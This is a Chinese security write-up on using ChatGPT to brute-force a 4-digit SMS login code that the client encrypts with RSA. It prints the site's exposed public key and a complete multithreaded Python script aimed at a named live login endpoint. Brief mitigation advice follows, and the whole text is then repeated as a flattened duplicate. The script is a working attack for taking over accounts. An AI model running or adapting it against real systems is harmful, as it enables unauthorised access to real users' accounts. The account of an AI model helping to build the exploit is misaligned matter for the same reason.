记一次Chatgpt挖掘任意用户登录漏洞
字数 768 2025-08-20 18:18:23

ChatGPT辅助挖掘任意用户登录漏洞实战教学

0x01 漏洞背景

本案例研究的是一个基于"手机号+4位验证码"的登录系统漏洞,该系统存在以下安全缺陷:

  • 验证码长度仅为4位,可爆破(10000种可能性)
  • 验证码参数在传输过程中使用RSA加密
  • 前端暴露了RSA公钥

0x02 漏洞分析

关键发现点

  1. 验证码可爆破性:4位验证码仅有10000种组合,在合理时间内可完成爆破
  2. 加密方式分析:从请求包观察,加密样式符合RSA特征
  3. 前端暴露公钥:通过搜索"encrypt"关键词可找到RSA公钥

攻击面分析

攻击者需要:

  1. 获取加密算法实现方式
  2. 构造有效的加密请求
  3. 实现自动化爆破流程

0x03 漏洞利用步骤

第一步:获取加密公钥

  1. 在浏览器开发者工具中搜索"encrypt"或"rsa"关键词
  2. 定位到类似以下公钥:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEYtvVnsDwdVPutk7t7BVARBbk
00h0l+tSjtKswncCpM9CcebzIsWvLtdnQdDu1ABuW1GziaU1XSQixKcFH9HiIfj
cM0+DoqNEXXH8sLIkIbz1g1ajA/6N6oL6Guq+w/u9lV5TChRVnE7Lo5Z2aFxTNv
+Z5psTON8v+akXpUIHwIDAQAB
-----END PUBLIC KEY-----

第二步:构造加密请求

使用Python的cryptography库实现RSA加密:

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization, hashes
import base64

public_key_pem = b"""-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEYtvVnsDwdVPutk7t7BVARBbk
00h0l+tSjtKswncCpM9CcebzIsWvLtdnQdDu1ABuW1GziaU1XSQixKcFH9HiIfj
cM0+DoqNEXXH8sLIkIbz1g1ajA/6N6oL6Guq+w/u9lV5TChRVnE7Lo5Z2aFxTNv
+Z5psTON8v+akXpUIHwIDAQAB
-----END PUBLIC KEY-----"""

public_key = serialization.load_pem_public_key(
    public_key_pem,
    backend=default_backend()
)

code = "1234"  # 示例验证码
code_bytes = code.encode("utf-8")
cipher_bytes = public_key.encrypt(
    code_bytes,
    padding.PKCS1v15()
)
cipher_b64 = base64.b64encode(cipher_bytes).decode("utf-8")

第三步:构建完整爆破脚本

完整利用代码(含多线程优化):

import requests
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization, hashes
import base64
from cryptography.hazmat.backends import default_backend
import threading

url = "https://icity.shdict.com:8880/zhcstyrz/vue_admin/oauth/mobileLoginFree?_r=1690253760383"
headers = {
    "Content-Type": "application/json",
    "Accept": "application/json, text/plain, */*",
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
    "Origin": "https://icity.shdict.com:8880",
    "Referer": "https://icity.shdict.com:8880/icity/",
}

# 加载公钥
public_key_pem = b"""-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEYtvVnsDwdVPutk7t7BVARBbk
00h0l+tSjtKswncCpM9CcebzIsWvLtdnQdDu1ABuW1GziaU1XSQixKcFH9HiIfj
cM0+DoqNEXXH8sLIkIbz1g1ajA/6N6oL6Guq+w/u9lV5TChRVnE7Lo5Z2aFxTNv
+Z5psTON8v+akXpUIHwIDAQAB
-----END PUBLIC KEY-----"""
public_key = serialization.load_pem_public_key(
    public_key_pem,
    backend=default_backend()
)

def try_codes(start, end):
    for i in range(start, end):
        code = str(i).zfill(4)
        print(f"Trying code {code}")
        
        # 加密验证码
        code_bytes = code.encode("utf-8")
        cipher_bytes = public_key.encrypt(
            code_bytes,
            padding.PKCS1v15()
        )
        cipher_b64 = base64.b64encode(cipher_bytes).decode("utf-8")
        
        # 构造请求数据
        data = {
            "phone": "bq3crvUqMTHBhyy83VpMamW4mybx/FhkTCNhKxHlmknppeihOo7drnSVjsv6qQRVj+fjbT+2za9Qed/vgI/Hh+o6I2q7x3FEpsnA7h6Wjt+BQbcqTPMX7JlHksfe8ARcBz+KFYseoXxbgU59Bru4lV18pOKrMlAqHpV3B0yicNA=",
            "code": cipher_b64,
            "loginType": 0,
            "forceLogin": 1,
            "clientId": "icity"
        }
        
        # 发送请求
        response = requests.post(url, headers=headers, json=data)
        
        # 检查响应
        if "4018" not in str(response.json()):
            print(f"Success! Code {code} is valid.")
            print(response.json())
            break
        else:
            print(f"Code {code} is not valid.")

# 创建10个线程并行爆破
threads = []
for i in range(10):
    start = i * 900 + 1000
    end = (i + 1) * 900 + 1000
    thread = threading.Thread(target=try_codes, args=(start, end))
    threads.append(thread)
    thread.start()

# 等待所有线程完成
for thread in threads:
    thread.join()

print("All codes have been tried.")

第四步:优化与调试

  1. 错误处理:确保代码能处理各种异常情况
  2. 性能优化:使用多线程加速爆破过程
  3. 结果验证:通过响应中的特定标识(如"4018")判断验证码是否正确

0x04 防御建议

  1. 增加验证码复杂度:使用6位或更长验证码
  2. 限制尝试次数:对同一手机号的验证码尝试次数进行限制
  3. 加密改进
    • 使用更安全的加密方案
    • 避免在前端暴露公钥
  4. 增加人机验证:引入CAPTCHA等机制
  5. 服务端校验:增加时间戳、签名等二次验证

0x05 总结

本案例展示了如何利用ChatGPT辅助完成以下工作:

  1. 分析加密算法
  2. 编写加密代码
  3. 构建爆破脚本
  4. 调试和优化代码

通过自动化工具,原本需要数小时的手工操作可在几分钟内完成,极大提高了漏洞挖掘效率。同时,这也提醒开发人员需要重视验证码相关的安全设计。

ChatGPT辅助挖掘任意用户登录漏洞实战教学 0x01 漏洞背景 本案例研究的是一个基于"手机号+4位验证码"的登录系统漏洞,该系统存在以下安全缺陷: 验证码长度仅为4位,可爆破(10000种可能性) 验证码参数在传输过程中使用RSA加密 前端暴露了RSA公钥 0x02 漏洞分析 关键发现点 验证码可爆破性 :4位验证码仅有10000种组合,在合理时间内可完成爆破 加密方式分析 :从请求包观察,加密样式符合RSA特征 前端暴露公钥 :通过搜索"encrypt"关键词可找到RSA公钥 攻击面分析 攻击者需要: 获取加密算法实现方式 构造有效的加密请求 实现自动化爆破流程 0x03 漏洞利用步骤 第一步:获取加密公钥 在浏览器开发者工具中搜索"encrypt"或"rsa"关键词 定位到类似以下公钥: 第二步:构造加密请求 使用Python的cryptography库实现RSA加密: 第三步:构建完整爆破脚本 完整利用代码(含多线程优化): 第四步:优化与调试 错误处理 :确保代码能处理各种异常情况 性能优化 :使用多线程加速爆破过程 结果验证 :通过响应中的特定标识(如"4018")判断验证码是否正确 0x04 防御建议 增加验证码复杂度 :使用6位或更长验证码 限制尝试次数 :对同一手机号的验证码尝试次数进行限制 加密改进 : 使用更安全的加密方案 避免在前端暴露公钥 增加人机验证 :引入CAPTCHA等机制 服务端校验 :增加时间戳、签名等二次验证 0x05 总结 本案例展示了如何利用ChatGPT辅助完成以下工作: 分析加密算法 编写加密代码 构建爆破脚本 调试和优化代码 通过自动化工具,原本需要数小时的手工操作可在几分钟内完成,极大提高了漏洞挖掘效率。同时,这也提醒开发人员需要重视验证码相关的安全设计。